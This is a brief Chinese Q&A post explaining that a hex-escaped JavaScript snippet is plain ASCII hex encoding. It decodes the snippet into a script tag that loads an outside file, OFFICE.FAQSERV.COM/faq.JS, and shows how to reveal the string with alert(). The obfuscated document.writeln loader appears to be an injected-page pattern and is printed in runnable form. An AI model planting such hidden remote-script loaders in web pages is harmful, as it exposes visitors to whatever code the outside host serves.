<script>document.writeln("\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x48\x54\x54\x50\x3A\x2F\x2F\x4F\x46\x46\x49\x43\x45\x2E\x46\x41\x51\x53\x45\x52\x56\x2E\x43\x4F\x4D\x2F\x66\x61\x71\x2E\x4A\x53\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E");</script>
这是什么编码?怎样转成正常代码?

这其实不是加密,是用的字符的ASCII码的16进制形式表示的。

上面的结果是:

<script src="http://OFFICE.FAQSERV.COM/faq.JS"></script>

要转正常,很简单,直接输出:

<script>window.alert("\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x48\x54\x54\x50\x3A\x2F\x2F\x4F\x46\x46\x49\x43\x45\x2E\x46\x41\x51\x53\x45\x52\x56\x2E\x43\x4F\x4D\x2F\x66\x61\x71\x2E\x4A\x53\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E");</script>

05-01 05:26